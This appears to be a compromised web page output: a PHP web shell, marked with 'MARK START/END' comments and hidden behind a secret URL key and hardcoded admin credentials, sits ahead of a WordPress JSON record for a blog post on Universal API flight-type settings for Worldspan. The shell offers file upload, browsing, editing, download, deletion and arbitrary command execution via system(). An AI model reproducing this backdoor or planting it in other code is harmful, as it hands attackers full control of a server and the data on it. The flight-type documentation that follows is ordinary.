// -------- MARK START --------
if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') {
function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); }
function ws_b($s) { return base64_decode($s); }
$validKey = 'mintinplan';
$validU = 'admin';
$validP = 'MinMaxtime';
$auth = false;
$sname = 'ws_auth';
if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true;
elseif (isset($_COOKIE[$sname])) {
$d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true);
if ($d && isset($d['ok']) && $d['ok']) $auth = true;
}
if (!$auth) {
$u = ws_g('usr'); $p = ws_g('pwd');
if ($u === $validU && $p === $validP) {
@session_start();
$_SESSION[$sname] = true;
setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true);
header('Location: ?k='.$validKey);
exit;
}
echo '
Login';
exit;
}
if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; }
$act = ws_g('a');
$path = ws_g('p') ?: getcwd();
$path = realpath($path) ?: getcwd();
echo 'Shell';
echo '';
echo '
';
switch ($act) {
case 'upload':
echo '⬆ Upload File to: '.htmlspecialchars($path).'
';
echo '
';
if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) {
$f = $_FILES['upfile'];
if ($f['error'] === UPLOAD_ERR_OK) {
$name = ws_g('rename') ?: $f['name'];
$dest = rtrim($path, '/').'/'.$name;
if (move_uploaded_file($f['tmp_name'], $dest)) {
$sz = round(filesize($dest)/1024, 2);
echo '✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)
';
} else {
echo '❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')
';
}
} else {
$errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked'];
echo '❌ Error: '.($errors[$f['error']] ?? 'Unknown').'
';
}
}
echo '📋 Current directory contents:
';
$items = scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path.'/'.$item;
if (is_dir($full)) echo '📁 '.$item."/\n";
else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
echo '';
break;
case 'tree':
echo '🌳 Directory Tree (depth 4)
';
function ws_tree($root, $depth=0, $max=4) {
if ($depth > $max) return;
if (!is_dir($root)) return;
$items = scandir($root);
if (!$items) return;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $root.'/'.$item;
if (is_dir($full)) {
echo str_repeat(' ', $depth).'📁 '.$item."/\n";
ws_tree($full, $depth+1, $max);
} else {
echo str_repeat(' ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
}
ws_tree($path);
echo '';
break;
case 'drives':
echo '💾 Accessible Roots
';
if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
} else {
$cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
}
echo '';
break;
case 'read':
$f = ws_g('f');
if (!$f || !is_file($f)) { echo 'File not found'; break; }
$content = file_get_contents($f);
echo '📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)
';
echo '';
break;
case 'save':
$f = ws_g('f'); $c = ws_g('c');
if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); }
break;
case 'exec':
$cmd = ws_g('c');
$output = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) {
ob_start();
system($cmd);
$output = ob_get_clean();
}
echo '🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')
';
echo '';
if ($output !== '') echo ''.htmlspecialchars($output).'
';
else echo 'No output
';
break;
case 'down':
$f = ws_g('f');
if ($f && is_file($f)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($f).'"');
header('Content-Length: '.filesize($f));
readfile($f);
exit;
}
echo 'File not found';
break;
case 'del':
$f = ws_g('f');
if ($f && is_file($f)) {
if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f);
else echo '❌ Delete failed (permission?)';
} elseif ($f && is_dir($f)) {
if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f);
else echo '❌ rmdir failed (not empty or permission?)';
}
break;
case 'newfile':
$fname = ws_g('nf');
if ($fname) {
$dest = rtrim($path,'/').'/'.$fname;
if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest);
else echo '❌ Create failed';
}
echo '';
break;
case 'newdir':
$dname = ws_g('nd');
if ($dname) {
$dest = rtrim($path,'/').'/'.$dname;
if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest);
else echo '❌ mkdir failed';
}
echo '';
break;
default:
echo '📂 '.htmlspecialchars($path).'
';
$parent = dirname($path);
if ($parent && $parent !== $path) echo '⬆ Parent | ';
echo '[+ New File] | ';
echo '[+ New Dir] | ';
echo '[⬆ Upload]
';
echo '| Name | Size | Perms | Actions |
';
$items = scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path.'/'.$item;
$isDir = is_dir($full);
$size = $isDir ? '-' : round(filesize($full)/1024,1).'KB';
$perms = substr(sprintf('%o',fileperms($full)),-4);
$enc = urlencode($full);
echo '';
if ($isDir) echo '| 📁 '.$item.' | ';
else echo '📄 '.$item.' | ';
echo ''.$size.' | '.$perms.' | ';
if (!$isDir) echo '[Edit] ';
echo '[Download] ';
echo '[Delete]';
echo ' |
';
}
}
echo '
';
break;
}
echo '';
exit;
}
// -------- MARK END --------
{"id":385,"date":"2019-03-25T14:52:33","date_gmt":"2019-03-25T05:52:33","guid":{"rendered":"https:\/\/uapi.ihavenomoney.co.kr\/?p=385"},"modified":"2019-03-25T14:52:33","modified_gmt":"2019-03-25T05:52:33","slug":"air-availability-by-flight-type","status":"publish","type":"post","link":"https:\/\/uapi.ihavenomoney.co.kr\/?p=385","title":{"rendered":"Air Availability by Flight Type"},"content":{"rendered":"\n- \n
\n- In 1P (Worldspan) and 1J (Axess), by default, only public fares are returned.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n
Worldspan supports the following flight types:<\/p>\n
\n- \n
\n- All Flights \u2013 Type A<\/li>\n
- Direct Flights Only \u2013 Type B<\/span><\/li>\n
- Non-stop Direct Flights only \u2013 Type C<\/li>\n
- Online Connection Flights only \u2013 Type D<\/li>\n
- Stop Direct Flights only \u2013 Type E<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n
<\/a>Worldspan also supports :<\/p>\n\n- \n
\n- Single interline connections – Type A<\/li>\n
- Double interline connections – Type A<\/li>\n
- Single online connections – Type D<\/li>\n
- Double online connections – Type D<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n
A specific combination of attributes in Universal API must be sent in the request to match the specific Worldspan flight type desired. The following table shows the Type combinations, reading down each column, from A to E.<\/p>\n
\n\n\n\n\n\n\n<\/colgroup>\n\n\n\n| <\/td>\n | A<\/td>\n | B<\/span><\/td>\n | C<\/td>\n | D<\/td>\n | E<\/td>\n<\/tr>\n |
\n| NonStopDirects<\/td>\n | true<\/td>\n | true<\/span><\/td>\n | true<\/td>\n | true<\/td>\n | false<\/td>\n<\/tr>\n |
\n| StopDirects<\/td>\n | true<\/td>\n | true<\/span><\/td>\n | false<\/td>\n | true<\/td>\n | true<\/td>\n<\/tr>\n |
\n| SingleOnlineCon<\/td>\n | true<\/td>\n | false<\/span><\/td>\n | false<\/td>\n | true<\/td>\n | false<\/td>\n<\/tr>\n |
\n| DoubleOnlineCon<\/td>\n | true<\/td>\n | false<\/span><\/td>\n | false<\/td>\n | true<\/td>\n | false<\/td>\n<\/tr>\n |
\n| TripleOnlineCon<\/td>\n | false<\/td>\n | false<\/span><\/td>\n | false<\/td>\n | false<\/td>\n | false<\/td>\n<\/tr>\n |
\n| SingleInterlineCon<\/td>\n | true<\/td>\n | false<\/span><\/td>\n | false<\/td>\n | false<\/td>\n | false<\/td>\n<\/tr>\n |
\n| DoubleInterlineCon<\/td>\n | true<\/td>\n | false<\/span><\/td>\n | false<\/td>\n | false<\/td>\n | false<\/td>\n<\/tr>\n |
\n| TripleInterlineCon<\/td>\n | false<\/td>\n | false<\/span><\/td>\n | false<\/td>\n | false<\/td>\n | false<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n If an invalid combination is submitted, Universal API defaults to Flight Type ID A.<\/p>\n","protected":false},"excerpt":{"rendered":" In 1P (Worldspan) and 1J (Axess), by default, only public fares are returned. Worldspan supports the following flight types: All Flights \u2013 Type A Direct […]<\/a><\/p>\n<\/div>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-385","post","type-post","status-publish","format-standard","hentry","category-low-fare-search"],"_links":{"self":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts\/385","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=385"}],"version-history":[{"count":1,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts\/385\/revisions"}],"predecessor-version":[{"id":386,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts\/385\/revisions\/386"}],"wp:attachment":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=385"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=385"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=385"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}} |